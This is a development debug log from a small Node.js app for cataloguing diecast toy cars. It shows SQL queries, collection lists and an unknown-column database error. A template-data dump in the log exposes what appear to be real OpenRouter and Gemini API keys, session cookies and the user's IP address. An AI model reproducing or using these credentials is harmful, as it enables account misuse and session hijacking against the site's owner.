  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:02:45.353Z server-connect:app Executing action step identify
2026-07-13T10:02:45.353Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:45.353Z server-connect:output identity: 1
2026-07-13T10:02:45.353Z server-connect:app Executing action step restrict
2026-07-13T10:02:45.353Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:45.353Z server-connect:output restrict: undefined
2026-07-13T10:02:45.353Z server-connect:app Executing action step select
2026-07-13T10:02:45.353Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:45.354Z server-connect:output restrict: undefined
2026-07-13T10:02:45.354Z server-connect:app Executing action step select
2026-07-13T10:02:45.354Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:45.355Z server-connect:app Executing action step identify
2026-07-13T10:02:45.355Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:45.355Z server-connect:output identity: 1
2026-07-13T10:02:45.355Z server-connect:app Executing action step restrict
2026-07-13T10:02:45.355Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:45.355Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:02:45.356Z server-connect:app Executing action step identify
2026-07-13T10:02:45.356Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:45.356Z server-connect:output identity: 1
2026-07-13T10:02:45.356Z server-connect:app Executing action step restrict
2026-07-13T10:02:45.356Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:45.357Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:02:45.357Z server-connect:output restrict: undefined
2026-07-13T10:02:45.357Z server-connect:app Executing action step paged
2026-07-13T10:02:45.358Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:02:45.359Z server-connect:output restrict: undefined
2026-07-13T10:02:45.359Z server-connect:app Executing action step select
2026-07-13T10:02:45.359Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:45.360Z server-connect:output Error at list: Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:45.360Z server-connect:server Got error? Error: select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1 - Unknown column 'diecast_cars.has_real_car' in 'field list'
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_BAD_FIELD_ERROR',
  errno: 1054,
  sqlState: '42S22',
  sqlMessage: "Unknown column 'diecast_cars.has_real_car' in 'field list'",
  sql: 'select count(*) as `Total` from (select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id`) as `t1` limit 1'
}
2026-07-13T10:02:45.361Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:02:45.361Z server-connect:app Executing action step select
2026-07-13T10:02:45.362Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:45.362Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:02:45.362Z server-connect:app Executing action step select
2026-07-13T10:02:45.362Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:02:45.363Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:02:52.507Z server-connect:router Serving templateView /diecast
2026-07-13T10:02:52.507Z server-connect:app Executing action step identify
2026-07-13T10:02:52.507Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:52.507Z server-connect:output identity: 1
2026-07-13T10:02:52.507Z server-connect:app Executing action step restrict
2026-07-13T10:02:52.507Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-07-13T10:02:52.508Z server-connect:output restrict: undefined
2026-07-13T10:02:52.508Z server-connect:router Render template layouts/main
2026-07-13T10:02:52.508Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'x-forwarded-for': '49.43.185.167',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-07-14T10:01:13.189Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.185.167',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AXMc%2B2jq0fNkMHYgBsrEXYw%3D%3D.1lR4jmWImX0hWiNbtxsvjmvU7meTRlGIeVtXAKQHnfgZ2qZjf8U4%2B976Jx13h1U7PweAyRxhaZx4NIyWFYi3Y%2BcGBfeeA5FmrHVhDDfbdp3L9cUxJQ90lI%2BjhEkkG51mt04XBHwxjjs%2FTgjxqAPppgrMm%2BCB6Uvbp94Cfaf8l4Q%3D.WwcGi%2BLbBXpeNTIhr8nNcd%2FKbQLSNe5a7zbp4zidaHQ; your_r_git.sid=s%3AERKOBZZNbZeUOFeuQuE_nvKHrrAaIRb5.r8CsbbJRNC%2Bpr%2FcGL3aHgD1OlDdWtlJ9BJqB6jA8e%2FM',
    'HTTP_X_FORWARDED-FOR': '49.43.185.167',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-07-13T10:02:53.254Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:53.256Z server-connect:router Serving serverConnect /api/masters/get-items
2026-07-13T10:02:53.257Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:02:53.257Z server-connect:app Executing action step identify
2026-07-13T10:02:53.257Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:53.258Z server-connect:output identity: 1
2026-07-13T10:02:53.258Z server-connect:app Executing action step restrict
2026-07-13T10:02:53.258Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:53.259Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-07-13T10:02:53.260Z server-connect:output restrict: undefined
2026-07-13T10:02:53.260Z server-connect:app Executing action step select
2026-07-13T10:02:53.260Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:02:53.260Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-07-13T10:02:53.260Z server-connect:app Executing action step identify
2026-07-13T10:02:53.260Z server-connect:app options: { provider: 'security' }
2026-07-13T10:02:53.261Z server-connect:output identity: 1
2026-07-13T10:02:53.261Z server-connect:app Executing action step restrict
2026-07-13T10:02:53.261Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:02:53.262Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
